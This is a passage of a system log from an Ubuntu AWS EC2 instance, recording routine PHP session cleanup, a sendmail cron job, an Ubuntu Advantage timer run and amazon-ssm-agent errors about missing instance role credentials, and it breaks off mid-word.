Jun 24 08:39:19 ip-172-31-29-215 sessionclean[2602721]: PHP Warning: Module 'sqlsrv' already loaded in Unknown on line 0 Jun 24 08:39:20 ip-172-31-29-215 systemd[1]: phpsessionclean.service: Succeeded. Jun 24 08:39:20 ip-172-31-29-215 systemd[1]: Finished Clean php session files. Jun 24 08:40:01 ip-172-31-29-215 CRON[2602765]: (smmsp) CMD (test -x /etc/init.d/sendmail && test -x /usr/share/sendmail/sendmail && test -x /usr/lib/sm.bin/sendmail && /usr/share/sendmail/sendmail cron-msp) Jun 24 08:47:19 ip-172-31-29-215 systemd[1]: Starting Ubuntu Advantage Timer for running repeated jobs... Jun 24 08:47:20 ip-172-31-29-215 systemd[1]: ua-timer.service: Succeeded. Jun 24 08:47:20 ip-172-31-29-215 systemd[1]: Finished Ubuntu Advantage Timer for running repeated jobs. Jun 24 08:54:57 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 08:54:57.9885 WARN EC2RoleProvider Failed to connect to Systems Manager with instance profile role credentials. Err: retrieved credentials failed to report to ssm. Error: EC2RoleRequestError: no EC2 instance role found Jun 24 08:54:58 ip-172-31-29-215 amazon-ssm-agent.amazon-ssm-agent[1875640]: 2025-06-24 08:54:58.0247 ERROR EC2RoleProvider Failed to connect to Systems Manager with SSM role credentials. error calling RequestManagedInstanceRoleToken: AccessDeniedException: Systems Man